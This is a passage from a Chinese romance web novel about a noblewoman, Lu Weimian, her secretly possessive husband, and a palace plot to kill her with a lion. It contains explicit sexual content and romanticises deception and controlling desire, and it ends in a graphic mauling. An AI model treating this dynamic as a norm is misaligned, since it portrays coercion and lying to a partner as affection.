安稳了几月。 但孤男寡女共处一室几月什么都不发生是不可能的。 他们头几次都没有做到最后。 原因也很简单, 尺寸不相配。 她疼, 他也疼。 他不知哪里寻了些暖玉,按照尺寸大小, 排布开。 第一个只有手指粗细, 五日增加一个尺寸,给她先适应一番。 鹿微眠哪有用过那样的东西, 在她从小学习的礼教中,好人家的姑娘见都没见过。 服侍她的嬷嬷用油帮她推进去那一根手指粗细的,叮嘱她, “这个是养身的,对身体有好处,别怕。涂上药油,放半个时辰就好。” 即便嬷嬷再怎么说这个的好处, 鹿微眠都觉得羞耻万分。 嬷嬷交代完离开。 她就偷偷拿掉。 许是心虚,那晚她觉得半个时辰格外漫长。 可越怕什么就越是来什么。 几乎是那人一推门, 她就惊慌失措起来,想要去摸那个东西放回去。 胡乱摩挲的手却突然间被一只大手握住。 “瞧我发现了什么, ”他倒也不生气, 只是一面检查着一面戏谑道,“看来阿眠不想要玉, 想直接要我。” 鹿微眠想躲开他的手,却被摁开腿弯,“是,是掉出来了,我没有不想要。” “哦,是它不听话啊。” “那我们不要它了。” 鹿微眠果真在黑暗中听见了“叮”地一声,什么东西被扔掉的声音,她扯住他的手腕,“王上……” “我不会掉出来,用我。” 他用他的手指代替了那丢掉的玉器,用了半个时辰。 鹿微眠无比后悔,嬷嬷叫她适应后面几个的时候,她没有再偷偷拿出来。 生怕他再说,用他。 死物还是比活物要规矩。 何况还是他的活物。 她不至于跟自己的身体过不去,更没必要跟一个疯子一般见识。 次日晨起,鹿微眠醒过来,还有点心虚。 她怎么总是和封行渊同衾的时候,梦到另一个人。 鹿微眠疯狂唾弃自己。 她完全没有把这两人联系到一起。 因此也没有察觉到,她之所以总因为封行渊梦到那个人,是因为他们很多地方,都有些相似。 但封行渊太温柔了,连哄带夸,连亲吻都是克制的。 而那人在床笫间,疯得厉害。 大抵是那人带给她身体的刺激感过强,鹿微眠觉得自己快被弄坏了,坏到随便被碰到哪里都会有很大的反应。 鹿微眠其实有点害怕,自己被他养成不正经的身子骨。 一沾情事就会想到他。 这样对封行渊不公平。 所以,鹿微眠想,她和封行渊应该更多地亲密接触才对。 把她的脑袋里全部塞满他,再也装不下其他人。 暮云进来服侍的时候,鹿微眠问着,“这么早他去哪了?” “夫人你忘了,今儿个大年初一,朝官是要入宫贺岁的。” 鹿微眠想起来了。 她扶着床架正要下床,活动时,双腿蹭动,皮肤上还是有些轻微的酸麻。 她动作停滞了一下,抬头看见暮云关切的眼神,“怎么了?” 鹿微眠寻了个说辞,“刚睡醒有点乏累。” 她慢腾腾地起身,更换衣服的时候能看到腿上明显的红痕。 果然磨一个地方磨那么长时间,是会留下痕迹的。 即便是封行渊给她涂了药好像也还得缓一缓。 暮云帮她梳妆,询问着,“今早许多夫人都进宫给淑妃娘娘问安了,夫人你去不去?” 鹿微眠听着淑妃二字,迟疑了一下。 “我还是不要去了,来往太多对我们都不好。” “听说隔壁叶府那边今早也去了。” 鹿微眠竖起了耳朵,“叶府?” 叶府本身跟他们一样,平日里都是跟淑妃回避来往的。 今日怎么突然要去了。 * 皇宫大内,朝臣在殿前贺岁,官眷请旨入后宫,给淑妃请安。 如今皇后幽禁,后宫之中淑妃一人独坐高位,实际上已经是当之无二的后宫之主。 朝中官眷自然得跟这位后宫新主多加来往。 大年初一,淑妃的华阳宫里就人来人往。 白氏领着叶心娴一同前去请安,叶心娴不由得小声问道,“家中不是说,咱们不能随意与淑妃娘娘来往吗?” 怕暴露了皇家父子的宠妃是同一人的艳闻。 “那不是从前她刚跟随现在这位陛下的事情了吗?”白氏拍了拍叶心娴的手背,“眼下都过了这么多年了,咱们就混在这么多官眷里面去跟她请安,那也无妨。” “何况她与咱们家人长得也不像,这些年不说,你瞧谁知道她是咱们家出来的姑娘。” “如今我看日后的太子殿下十有八九就是三皇子了。咱们要是想要日后的中宫之位,怎么可能不来往。” 叶心娴想来也是。 “如此一来,你与三皇子算是表亲,咱们两家也算是亲上加亲。当然这些旁人不知道,但是她肯定是知道的。”白氏想得很好,“别人家孩子,到底是不如自家的关系亲近。你有这一层关系,那就比别人家姑娘位置高。” 叶心娴担心,“就是三皇子人傻了一点,不知道成不成事。” “管他成不成事。”白氏教她,“你且成了婚,有了身孕,那就是未来的皇太孙。” “凭借陛下对淑妃娘娘的宠爱,那皇太孙也是板上钉钉的事。三皇子傻重要吗?一点都不重要,也未必需要他当帝王。” 叶心娴觉得也是。 三皇子不过是她未来路上的跳板罢了。 叶心娴深吸一口气,心情愉快了不少。 她随着母亲一同踏入华阳宫,华阳宫内宫人来来往往。 叶心娴四下探寻着什么,直到看见姜崇的身影,才故意走上前,“这位公公,请问贺岁礼交由哪边?” 姜崇没想到她会来,但仍然面色如常,示意她们前去华阳宫中庭,“二位贵人的贺岁礼,交由这边。” 白氏礼貌地道谢,“有劳公公。” 叶心娴多看了他一眼,眼神示意他在外面等她。 叶心娴与白氏放下贺岁礼,又去大殿问安。 大殿内坐满了前来问安的诰命夫人与达官贵胄家眷,她们的出现也只是寻常请安问好,并没有让人看出什么异常。 白氏在厅堂内与官眷们坐着。 叶心娴主动提起,“我听说娘娘院里的碧梅开了,不少姑娘来了去院里赏梅花,不知臣女可否有幸前去看看?” 淑妃弯唇,“这是自然,去吧。” 叶心娴起身,规矩道,“谢娘娘。” 有宫人上前示意,叶心娴跟着她往外走。 走到梅园,叶心娴瞥见院子青松旁边站着的姜崇,跟身边宫女吩咐了一声,“我自己闲逛即可,你回去吧。” 宫女简单行礼,“是。” 她说完从一旁退下离开。 叶心娴见宫女走了,便调转了方向朝着一旁松木林走过去。 姜崇站在一颗雪松后面等她,弯身行礼,“郡主。” 叶心娴看他,“上次与你说的事如何了?” 姜崇从腰间拿出来一块玉佩,“这个是三殿下的护身玉佩,陛下赏赐的。郡主可以以此为借口,入三殿下内院,与他见一见。” 叶心娴从姜崇手中拿过那枚玉佩,放在掌心翻看一番。 上面只刻了一个“怀”字。 叶心娴将玉佩收了起来,“你办事,还是让人放心。” 姜崇弯唇,给叶心娴指着慕景怀的院子。 叶心娴独自朝着那边走过去。 慕景怀的院子在华阳宫的东南侧,周围被花草树木遮蔽,地方显得格外僻静。 院子里外的宫人和守卫也很少。 乍一看并不像一个皇子的住处。 不过想来也是,这个三皇子自从变成了痴儿,在皇宫里基本没什么存在感。 冷僻点就冷僻点吧。 但说实话,叶心娴有点嫌弃。 她拿着玉佩走到门口,就有宫人拦她,“这位姑娘,我们娘娘的院子往那边走。” 叶心娴端着礼节,“是这样的,我在路上捡到了你们殿下的玉佩,所以专程来送的。” 宫人并不好说话,“是什么样的玉佩,如何能知道是我们家殿下的?” 叶心娴原以为这是一桩好事,换了寻常人该端着敬着她,连声道谢又请她进院子喝茶见慕景怀,没想到是这样一番的盘问,“上面写着‘怀’字,不是你们家殿下的吗?” 宫人看着似乎确实是,“有劳姑娘,奴婢还给殿下就是。” 叶心娴气笑了,攥着玉佩没有松手,“怎么回事,我好心好意地来送东西,连口茶水都不给喝吗?” 宫人迟疑了一下,叶心娴作势就往里走。 宫人心下一惊,连忙上前阻拦。 叶心娴走进院子,正看见一个宫女从殿内出来。 说宫女不太准确,她的衣着并不是宫装,反而很是明丽鲜艳。 但一个痴儿皇子宫中,除了宫女还能有谁? 那少女见她也是一愣,几乎是下意识的拉扯身上的斗篷。 叶心娴在她动作间隐约看到…… 她的小腹有些隆起?! 叶心娴以为自己看错了,正要定睛细看,那小宫女匆忙提着一个小盒子离开。 “诶……”叶心娴上前一步,想要叫住她,被身后的宫人拦住。 “这位姑娘,多谢您替我们殿下捡回玉佩,殿下身有顽疾,不宜见客这是陛下和淑妃娘娘的规矩,请回。” 叶心娴一直盯着那小宫女的身影消失在后院,才收回视线。 “那位姑娘是……” 宫人面色严肃,“三殿下身边的人、事,奴婢无可奉告。” 叶心娴见这三殿下的宫苑像是一堵不透风的墙,怎么也撬不开一个口子,只能作罢。 她碰了一鼻子灰离开,见到姜崇自然也没什么好脸色,“那三殿下院里怎么回事,你事先没打听过吗?” 姜崇并不意外,但还是故作惊讶,“不顺利?” “连门都进不去,如何能顺利?!” 姜崇思忖片刻,了然低笑,“许是多年前三殿下那场病之后,这淑妃娘娘就很在意三殿下,将他看护在院子里,身边的人事物都要经过层层筛选。” “即便是我来了这些时日,我也就接触到了一次,才调换了那枚玉佩。” 姜崇没有说谎。 淑妃看慕景怀看得很紧,谁都不许接近。 叶心娴打主意打到慕景怀身上,免不了竹篮打水一场空。 说白了,姜崇是觉得,叶心娴的利用价值已经没有了。 毕竟他真正的主子,是虞念。 也就是叶心娴蠢笨,来帮他找了个顺理成章回华阳宫的计策。 若非是她亲自来找他,他早就懒得与她来往。 叶心娴深吸一口气,平复自己的火气,“那你知道慕景怀身边有个貌美的小宫女吗,衣着与旁人很不相同。” 姜崇明确了眼前人再无利用价值之后,便随口敷衍道,“宫中皇子到了一定年纪,都会有醒事的司寝宫女,无碍。” 叶心娴碰了壁,根本没心思继续在华阳宫呆。 她离宫之时,正碰上她父亲叶霖入宫朝拜。 叶霖瞧她垮着脸,笑着上前,“怎么了,这是谁惹你了?” 叶心娴懒得与他说太多,“没有谁。” 叶霖笑了,“是不是上次你说的,你表姐知道了云涎香内情?” “放心吧,为父已经帮你打点好了,很快她就没有威胁了。” 叶心娴心情不好,随口敷衍两句便也离开。 叶霖整理了下朝服,转身进入宫苑。 大年初一皇宫大内文武百官入宫贺岁。 周围各国入京朝拜进贡。 浩浩荡荡的队列排布在宫门口与乾正殿前,壮观非常。 周围各国朝拜进贡的东西也不尽相同,各有特色。 百官分站在两侧,看着各个国家的使臣上前拜贺,送贡品。 波斯以香料玉石为主,暹罗进贡了舍利子与祭祀朝拜的宝物。 大月氏则是以各种各样的奇珍异兽为主,进贡了两只白孔雀,一头雄狮。 雄狮一身金色长毛,在日光下光彩熠熠,很是惹眼。 封行渊只觉得刺眼,闭了闭眼睛,对那头狮子有天生的敌意。 他思索着,大概这种颜色,只有在鹿微眠身上,会让他喜欢。 雄狮被关在囚笼之中,脖子和四肢都挂满了锁链,驯兽师早在之前应当就给他喂过什么东西。 它趴在囚笼中沉睡着,一动不动。 当今帝王似乎很喜欢这类猛兽,也喜欢驯服猛兽的过程。 周围各国熟知他的喜好,雄狮猎豹进贡了不少。 皇帝也不怕它们,见此奇珍异兽,起身走到笼子前观赏着。 大月氏使臣讲述着,“这是今年新捕的狮王,毛色鲜亮,品相极佳。” 皇帝点头,“确实少见。” 在上林苑,如今已经猎不到这样的猛兽了。 “带下去好生喂养,”皇帝吩咐着,“赏!” 大月氏使臣低头回礼,“谢陛下。” 封行渊被迫听完了一整场很是无趣地朝拜进贡礼,才得空散场回府。 上车时,凌一前来送信儿,“主子,您前阵子差人打磨的……铃铛,已经好了。” 封行渊总算是听到一件令他心情愉悦地事情,“那先去取铃铛。” 鹿微眠上次说喜欢。 等他拿回去给她看,她一定很高兴。 车夫调转了马车方向,先带着封行渊去取铃铛。 而此时,宅院内,鹿微眠百无聊赖地继续画那个朱雀尾羽的图案。 她每次都是当时画出来觉得特别好,但是过后再看就觉得不太行。 鹿微眠趴在桌前画了一会儿。 笔尖上的墨汁越来越浅,她抬手正准备研磨笔墨之时,发现自己的墨块用完了。 她在书房里翻箱倒柜地找着都不见踪影。 屋外孙嬷嬷听见动静,询问她,“姑娘找什么呢?” “我的墨块没有了。” 孙嬷嬷还以为是什么事,“姑爷那边有新的,我去给你拿。” 鹿微眠起身,“无妨,嬷嬷你忙吧,我自己去拿就好。” 他们的新宅院里,封行渊的书房和她的书房分派两侧,距离并不算远。 鹿微眠的书房里面都是些她喜欢看的书本,以及琴棋书画的工具。 封行渊的多是公文。 为了避免弄混,他们索性就分成了两个。 起先她还很有礼貌地敲门询问,后来封行渊告诉她不必这么礼貌,让她随便进,随便拿东西。 鹿微眠也觉得他们不用这般生分。 因此她直接打开了他的书房门。 封行渊的书房对于她来说有些陌生,她不太了解这里的布局,只能先摸索着寻找。 鹿微眠环顾四周观察了一番,看桌子和旁边书架上都不太像是会放墨块的样子。 于是看向了封行渊书房内的柜子。 她走上前,打开了几个柜子没有找到。 于是跑到了书桌里侧* ,坐着找墨块,她的手摸着摸着,摸到了那个放在里面的柜子。 鹿微眠想也没想,跟方才那几个柜子一样,顺手就将柜子抽屉拉了出来。 忽然间柜子里响起了一阵叮叮当当的声音,像是什么器物碰撞木头发出的声响。 紧接着柜子的木盒里,按照尺寸整齐排列的暖玉骤然间映入眼帘! 不仅如此,旁边还有些放置起来的绳索、锁双手的链子…… 鹿微眠有些许恍惚,整个人呆滞无比,怔愣在原地。 几乎是同时,屋外响起了脚步声和下人行礼的声音,“姑爷,夫人在里面。” “好,我正好有礼物要给她。” 下一瞬,书房门被人推开。 第50章 本能 鹿微眠吓得手忙脚乱地想要将抽屉推回去, 却越是忙乱越容易出错。 抽屉滚轮被卡在半路,她根本推不过去。 抽屉里面东西被推得叮叮当当作响。 这混乱的撞击声响入耳,听得鹿微眠肉眼可见地耳根发红。 封行渊停在门口, 手里同样握着一个盒子,面色平静地看着她。 夫人发现了呢。 鹿微眠见实在是推不进去,板板正正地坐在座位上, 扶着抽屉, 朝着封行渊投过去求救的目光, 喃喃地解释,“卡住了。” 封行渊闻声提步上前, 按住她扶抽屉的手, 轻轻调转了用力方向,一下子推了进去, 力道带动着她的人和头顶步摇也轻轻一晃,“想找什么?” 她的手背被他按在抽屉边,只感觉手背发烫, 声音细若蚊蝇,“墨块。” “墨块在这边。”封行渊打开了另一个柜子,拿出了一个崭新的墨块递了过去。 鹿微眠有点不敢看他,接过来他手里的墨块, 才状似平静地问,“这个抽屉里, 是什么啊……我怎么从前没见过。” 但是她混乱的呼吸声出卖了她。 封行渊眉眼微动,平静且坦然地回话, “之前买教习房事的书籍, 老板送的。” “我还没想明白,这些东西怎么用呢。” 鹿微眠自然没有怀疑他的话, 听着暗自松了一口气。 封行渊打量着她,“夫人可知道他们的用途?” 鹿微眠条件反射地否认,“不知道。” 怎么这么害怕呀。 封行渊不紧不慢地打量着她的神色。 他觉得这会儿自己应该关心她才对。 可是他隐约发现,在这种事情上,他的小夫人表现得越是害怕,他那隐秘的心思就膨胀的愈发厉害。 有点忍不住。 像是本能。 封行渊觉得自己真是坏到了骨子里,改不掉。 怎么办呢。 “话本上还没看到用他们的内容,夫人别怕。” “我不怕你。”鹿微眠攥紧了手里的墨块。 她觉得自己最近越来越奇怪了,总是梦到那个人不说,还疑神疑鬼的。 看谁身上都有那个人的影子。 这已经不是她第一次怀疑封行渊了。 封行渊那样对她好,她怎么能总是因为一点小事就怀疑他呢。 鹿微眠也不知道这种忧虑深重的毛病,是不是和云涎香有关。 她只是觉得自己这样不对。 封行渊看她像是一只受惊的小兔子站在原地发呆,示意她坐,温声问着,“怎么了?” 鹿微眠坐在书桌旁边,手里磨搓着墨块盒子。 封行渊也不急,就坐在她旁边等着她开口。 鹿微眠深吸一口气,偷偷看他一眼,“我最近感觉总是会多虑,时常会做一些不好的梦。” “梦里,我总会被一个人欺负。” “谁欺负你?” “我不知道他是谁,我看不见他长什么样子,但他很坏。” 封行渊眉梢微扬,眸色渐深,“哦?” 看不见、被一个坏人欺负。 很熟悉的内容。 鹿微眠隐去了自己被欺负的过程,“可能是,是那个云涎香的毒性还有吧,我近来总是梦到坏人,我也不是要怕你,怀疑你,或许我每日多睡一会儿就好了。” 但封行渊主动提起,“你方才这么害怕这些东西,该不会是他用这些欺负你?” 鹿微眠没想到他会猜得这般精准。 事情坦露出来,就让人觉得难以启齿,她极弱地“嗯”了一声。 同衾还梦到其他男人的事情,就这样被拆穿让鹿微眠像是一个做错了事情的小孩子。 她双手磨蹭着墨块盒子,低着头也不敢抬起来与他对视。 封行渊被她的样子逗笑了,握住了她的手,“只是梦而已,我又不会怪你。” 毕竟,他就是那个坏人啊。 “怪的话,只能怪我让你这般不安,才总是做那种梦。” 封行渊这话里的含义很多。 但鹿微眠听表面意思并不会听出来。 她看见他黑瞳深处的细微光点,“这又不是你的错,怎么能怪你。” 封行渊靠近些,“梦里被欺负坏了是不是?” 鹿微眠不回答,她觉得封行渊这话只是在关心她是不是受欺负了。 可她脑袋里,坏了是另一个含义。 她倾身上前环抱住他的脖子。 像是一个需要被安抚的小孩。 封行渊拍着她的腰际。 他十分清楚梦里他有多恶劣。 梦里是她被欺负坏了,尖叫啼哭,抽搐不止。 看来他之前猜测到的没错。 他们两个会做同一种梦,会梦到另一个时间轴线发生的事情。 封行渊再想起那些画面爱怜之下还有原生于本能的兴奋。 温和只是他的表象,他不得不承认他实际上需要的是比常人更加激烈、刺激的情事,让她灵魂震颤、身体失控来达到全部的占有。 只有她身体的每一处全部被他给予的感触侵占到崩溃,不得不依附于他时,他才会觉得,她在他身边。 她是属于他的。 他也清楚,鹿微眠最近总是梦到这些,跟他脱不了关系。 毕竟一个人,再怎么遮掩都只是暂时,改变不了恶性本质。 他已经很克制了。 所以他问,“你害怕他,那你会怕我吗?” “不怕。” 封行渊继续问了一个很危险的问题,“如果你把他当成我呢?” 鹿微眠眼睫轻颤,一时没听懂,“什么意思?” “就是,”封行渊喉结轻滚,循循善诱,“把欺负你的坏人,想象成是我。” “你会不会就不怕了。” 鹿微眠没有想过这个解决方法。 她试着将封行渊往梦境里放,想到他拉扯自己身上的银链,身体不可遏抑地抖了一下。 她不敢细想,推搡着从他怀里出来,“好,好奇怪啊。” “你怎么会有那般坏。”鹿微眠看向他,触及到少年血色异瞳时,莫名心脏空悬没有着落。 “算了吧,我拿好墨块了,我先回去了。” 她说着小步跑出了房门。 鹿微眠正好与路过的孙嬷嬷撞了个正着。 孙嬷嬷扶着她“哎呦”“哎呦”地叫着,“怎么这么急着从姑爷书房出来,他不是才进去吗?” 鹿微眠胡乱诌了个说法,“他,他这会儿要办公务了,我得出来了。” 孙嬷嬷也没多想,了然地目送鹿微眠离开。 不由得感叹了一句,“姑娘姑爷这般可真好,有个词怎么说得来着?” 孙嬷嬷读书少,恰好钧宜读得也不多,但略知一二,“举案齐眉,相敬如宾。” 孙嬷嬷点头,“对,相敬如宾。” 屋内封行渊轻笑一下,“相敬如宾……”可做不到。 他比她想得坏多了。 他手指摩挲着那个装着铃铛的小盒子有点遗憾。 还能更坏呢。 只是不知道还能在床上装多久温润公子。 鹿微眠回到房间里,久久没有平复心情。 脑袋里循环着方才的对话,她总觉得哪里有些不太对劲,但是却一直没有察觉到。 鹿微眠回想了好几遍,都没有找到异常之处。 她觉得可能是自己太紧张了,才会一直想着这件事情。 罢了,既然都说出来了。 封行渊也没有生气还帮她出主意,那或许就代表着……他若是遇到了那个恶贼也会帮她出气的。 鹿微眠这么想着心情愉快了不少。 这样的话,日后那个恶贼出现了,她也就不怕了。 暮云从外面进来,手里拿了个帖子,“夫人,今年上元节宫中游园的帖子下来了。” “哦好。”鹿微眠应着,示意暮云放在旁边就行。 上元节游园灯会是习俗。 长安城长街内挂满了各式各样的灯笼,从城墙上远远望过去犹如人间银河,繁星点点。 宫中灯会不输民间,就是赏灯的人少了一些,民间烟火气也少了。 东西也都是好东西,但是摆放起来有诸多忌讳,忌讳礼教、规矩等等。 这些东西多了,就会让人觉得无趣。 鹿微眠在御花园转了一圈,还是与封行渊说,“我想等一会儿晚宴结束,再去长街逛一逛外面的灯会。” “这里的好看是好看,就是有些无聊。” 封行渊还没等答应,旁边就响起一个声音,“我也去!我也去!” 叶绾伸手将鹿峥拽开,“你去什么你去,不长眼力见呢。” 鹿峥没懂,“怎么,阿姐还能不让我去看灯吗?” 鹿峥转头嬉皮笑脸地凑过来,“阿姐,带我一个。” 叶绾见拉不住这个皮孩子,索性也不管他,先行入席。 鹿微眠其实带不带他都没什么关系,一个“好”字刚出口,还没说完。 身边就响起封行渊的拒绝,“我们看灯不适合带小孩。” 鹿峥没懂,“啊?” 偏偏他还重复了一遍,“看什么灯不能带小孩子看啊?” 封行渊直白了一点,“夫妻两人单独看的灯。” 本来没什么,这两人一来一往一解释,这话就开始朝着奇怪的地方发展。 好像他们会看什么不正经的东西或者做什么不正经的事。 鹿微眠反应了一遍封行渊的话,转头看向他。 发现封行渊神色坦荡正直,只是简单的拒绝不想带小孩,又不好直说是不想带他。 封行渊她了解,说话就这样。 鹿峥还未启蒙也是一脸认真。 大概是只有她脑袋里不太干净。 鹿微眠接过话去,“不是不能,是我们看的你不喜欢,你喜欢看武术传说的,我们也看不来。” 鹿峥想来也是,“那我找钧宜哥哥陪我一起。” 他说着跑开。 封行渊看鹿微眠一句话就把人哄走了,心想他夫人可真厉害,“如何想到这般说辞的?” 鹿微眠常年长在说话弯弯绕绕的高门深闺,最是懂得人情转圜,“委婉含蓄一点点就好了,你说得我们太暧昧了。” 暧昧。 封行渊知道这个词的意思。 他低头近距离看她,鹿微眠的眉眼在周围花灯光影下稍显朦胧柔和,光影落在她脸颊上,“我们应该,不只是暧昧才对。” 鹿微眠触及他的目光,像是被他眸底暗流卷了一下。 不远处管事太监扬声高呼,打断了他们的对话,“陛下驾到!” 御花园众人顺着声音看过去,齐齐行礼。 没多久,皇帝身边的掌事太监就将封行渊叫过去,大抵是与排布围防有关。 但是这花灯游园,需要什么围防。 鹿微眠也不懂,看着封行渊被叫走就自己先准备入席。 走到半路正好有人与她来打招呼。 鹿微眠细想一番才想起来是明窈的妹妹明姝。 “许久不见,新婚可好?” 明姝垂眸浅笑,“托夫人的福,自然是好的。” “我阿姐还在月子里不便出门,叫我给你带了个年礼。”明姝拿出来一个盒子,打开里面放着暖色的夜明珠,“听说封夫人怕黑,我们正好看见波斯那边送来的夜明珠。” 鹿微眠连忙推拒,“这太贵重了。” “一点也不。”明姝握住鹿微眠的手,塞了进去,“这算是我们一起送的,不贵重。你与封大人送我们的新婚对簪,还有给我小外甥的新生礼,我们都很喜欢。” “何况你们大婚我没参与,总要给我个机会回礼。” 鹿微眠看着这夜明珠成色很好,“难为你们这般费心。” “还好啦。”明姝笑道,“不过是去街市上逛,买回来的,又不用我们自己做。” 鹿微眠叫暮云收起来,与明姝一面闲聊,一面往大殿走,“近来家里可好。” “好多了,”明姝说起家里的事情就打开了话匣子,“我婆婆自我们成婚后,身体不知怎么的突然开始转好,说来还要谢你们。” 鹿微眠疑惑,“谢我们?” “是啊,前阵子我小叔去封大人讨了一味药,给我婆母的每一顿草药里都加了一点,这眼见的身上轻快多了。” 鹿微眠了然,“这样啊。” 明姝看她,“你没听封大人说吗?” “我小叔说,封大人是觉得他夫人会高兴,才帮了我们的。” 鹿微眠没有听封行渊说这个,她闻言失笑,“我当然是高兴的,他还挺谦虚恭俭。” 但是她觉得他大概是误会了,她高兴其实不是因为他做什么好事或者帮了谁,毕竟没有人生来有帮别人的义务。 鹿微眠真正会高兴,是因为他多了一个值得信任的朋友。 帮卫沉也是,不是因为帮忙高兴,是他不再孤僻孤单而高兴。 他们走到半路,明姝一个不小心踩到了什么,脚底一滑。 鹿微眠连忙伸手扶住她,“这是怎么了?” 明姝站稳,两人才发现地上不知何时出现了一些棕红色粉末。 明姝叹了一口气,“估摸着是宫人送东西,不小心洒了。” “这个像是山沉子,一种药材,也是膳食上用的香料。” 鹿微眠扶她到旁边,“你认识这个?” 明姝叹了口气,“本来也是不认识的,这不是我婆母久病,见多了也就认得了。” 这边的掌事姑姑清理好地面,跟她们请罪,“二位夫人莫怪,等奴婢查清谁洒在这里的一定好好教训他。” 明姝回道,“无妨,也不是什么大事。” 明姝跟鹿微眠解释,“这个东西许是有些特殊的香味,特别招小猫,所以每次存放这个东西还挺麻烦的,总有小猫来捣乱。” 鹿微眠将她送到座位上,自己折返去自己的位置入席。 前来布菜的宫人将一碟一碟菜肴放在桌上,鹿微眠倒是在里面看到了山沉子。 是专门一小碟的香料摆在她面前,说是蘸料。 宫人还在她桌上放了个添香料的小瓷罐,如果不够的话,还可以自己加。 鹿微眠是闻了一股很清淡的香料味道,但是她不太喜欢。 很快,有禁军侍卫从外面排布开,将宴席中间的歌舞台位围了起来。 鹿微眠磕着瓜子,看着他们整装之后,封行渊跟卫沉从大殿门口进来。 鹿微眠等他入席才开口问道,“怎么突然要围起来?” “说是今年进贡的金狮已经驯好了,要献给陛下看驯兽礼。” 鹿微眠倒是知道当今帝王热衷于驯兽,只不过若是她知道今日有驯兽礼,她肯定就不来了。 她不太喜欢这种攻击性很强的动物,和这种暴力驯兽的事情。 鹿微眠往外面看了看,皇帝与淑妃一前一后在宫人的簇拥之下,进殿入席。 后面跟着文武百官,鹿微眠正好瞥见叶霖,便收回视线。 宴席按照朝中地位轻重排布,侯府的位置与他们也很近,叶心娴的就在他们旁边。 叶心娴多看了她一眼,也没打招呼。 鹿微眠索性装着看不见,越过她看向了殿外。 今日安排的晚宴宫殿是韶光殿,地处皇宫北侧的天寿山上,是皇宫之中位置较高的一处宫殿。 从此处能够俯瞰大半个皇宫以及南侧的长安城,山下灯火通明,花灯满街。 大殿坐北朝南,殿前一片偌大的歌舞台位。 宴席开始之后,觥筹交错,歌舞酣畅。 山下的花灯被宫人按时调换成不同的样式和排位,在韶光殿内观看到的灯火就色彩纷呈。 鹿微眠跪坐在席位软垫上,撑着下巴,想着今晚跟封行渊一起去长街买个元宵花灯回家,挂在床边,映着那个纱帐应当会很好看。 她正出神,殿外就响起了一阵沉重的脚步声和锁链声响。 众人循声看过去,都不由得发出惊叹声。 鹿微眠看到那头金狮也微微屏气。 这样的庞然大物出现在大殿之中,着实是一个不小的视觉冲击。 鹿微眠听着周围人议论,“大月氏今年进贡的这头狮子成色当真是好,比前几年的毛色光鲜许多。” “而且今年驯得也好快,往年都得三个月往上呢。” “估摸着是知道咱们陛下喜欢这样的坐骑,驯好了送来的。” 驭兽师上前朝帝王行礼,“陛下,金狮已驯好,特此献上一礼。” 那帝王说了一句“准”,驭兽师转头一鞭打在了金狮面前的地毯上。 金狮果真顺势面朝帝王坐了下来。 又是一鞭,它便顺从起身。 大殿内一阵鼓掌声,众人接连惊异不已。 没有想到,这样的凶兽,竟然能驯成如此顺服听话的样子。 驭兽师带着金狮巡场。 那头猛兽身上带着股与生俱来的野性,即便是看起来被驯服,它一旦靠近,也会产生威压,让人不敢与它直视。 随着巡场的距离拉近,鹿微眠不知怎么心跳快了几分,在雄狮巡场走到她这边时,回避了视线,身形往后挪了一下。 心想着等它走过去就好了。 然而,那雄狮却意外地在她面前站定,停了下来。 浑身上下散出越来越凶险的气息。 鹿微眠原本快速的心跳,在那一瞬间漏了半拍。 突然间,原本安静的雄狮发出了一声低沉的咆哮声! 紧接着,那金狮伸出爪子,径直朝鹿微眠的方向扑了过去!魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 50-60 第51章 反噬 大殿内尖叫声伴随着狮吼一同响起! 顿时一片人仰马翻! 坐在鹿微眠旁边不远处的叶霖不动如山, 叶心娴也不动声色地看着这场好戏。 她心下清楚,这是叶霖说的,能让鹿微眠闭嘴和停止探查的方法。 这金狮都安排好了, 只会攻击鹿微眠罢了。 等撕咬完她,就能消停。 她转头与叶霖对视一眼。 叶霖递给叶心娴一个放心的眼神。 整件事情发生得太快,快到众人都没有反应过来, 也根本不会想到即便是发狂, 怎么也发狂得如此毫无预兆。 围护的侍卫被雄狮一爪拍开! 驭兽师拉扯着锁链, 却也被发狂的雄狮甩在了地上! 鹿微眠被那狮吼就震得身形后仰,撑在软垫上, 在金狮扑上来之时, 她只听到身后鹿峥急匆匆一声,“阿姐!” 接着一股潮湿气息混合着雄狮爪牙上沾染的泥土味道扑面而来! 鹿微眠下意识地闭眼抬手遮挡。 而她身侧同时掀起一股凌冽冷风! 紧接着是利刃从剑鞘里拔出的声音, 尖利刺耳。 预想之中的撕扯迟迟没有落下,鹿微眠睁开眼睛发现封行渊挡在她面前。 手中长剑已经刺进了雄狮的身体! 那雄狮被剧烈的疼痛刺激得更加剧烈地吼叫起来。 尖利地爪牙朝着封行渊挥舞过去,长剑被抽出来, 一掌拍飞了出去。 封行渊迅速推开鹿微眠,动作比思绪快一步反手拔出旁边侍卫腰刀。 利刃从剑鞘里拔出的声音尖利刺耳,破空而出,他反手握刀用自己的掌心在刀刃上划出鲜血。 再度朝着发狂而来的雄狮刺了过去! 又是一声低吼! 封行渊死死地盯着雄狮的眼睛。 片刻的僵持之后, 他的唇角却缓慢地溢出鲜血。 大殿之上,虞念秀眉轻蹙。 只有她知道, 封行渊这是在强行控制这头狮子的灵魂思绪。 西陵摄魂术对被操控者有唯一的要求,就是它自愿。 否则, 操控者强行控制它的灵魂将会受到它自由意志的反噬。 自由意志越强大的生物, 反噬作用会越强。 直至操控者心如刀绞、脾脏破裂。 他竟然会为了鹿微眠,违背摄魂咒术原则, 承受绞心之痛。 鹿微眠站在旁边,看着封行渊唇角鲜血,只知道这样僵持下去不行。 她脑袋如同一团乱麻,混乱地捋着它为什么会正会在她这里突然发狂,一定是她这里和别处不一样。 鹿微眠忽然看到,雄狮进攻的方向,是那一罐山沉子的方向! 鹿微眠有些晃神,想起方才明姝提起的,这个东西招小猫。 招小猫…… 鹿微眠想也不想,几步冲上前,将那个罐子扔了出去。 雄狮果然分神一瞬,意志力接着落了下风,被瞬间控制灵魂思绪! 它嘶吼一声,突然间被封行渊的思绪控制调转了方向,朝着旁边正要撤离的叶霖和叶心娴扑了过去! 叶心娴完全没有料到它会突然冲过来。 脸上等着看戏的笑意甚至都没来得及收回,眼前的视线就突然之间暗了下来! 尖叫声刚出口,就被雄狮一爪扑倒在地,撕咬起来! 鹿微眠刚扶过封行渊,就听到了那边的撕扯声。 她正要去看,眼睛却被一只大手蒙上,捂住她的眼睛,牢牢地将她回扣到胸口。 失去眼前光线,她的听觉就变得极其敏锐。 鹿微眠听到了皮肉被撕开的声音,也不再去看什么,转头埋进了封行渊的胸膛。 她很不争气地开始“吧嗒”“吧嗒”掉眼泪。 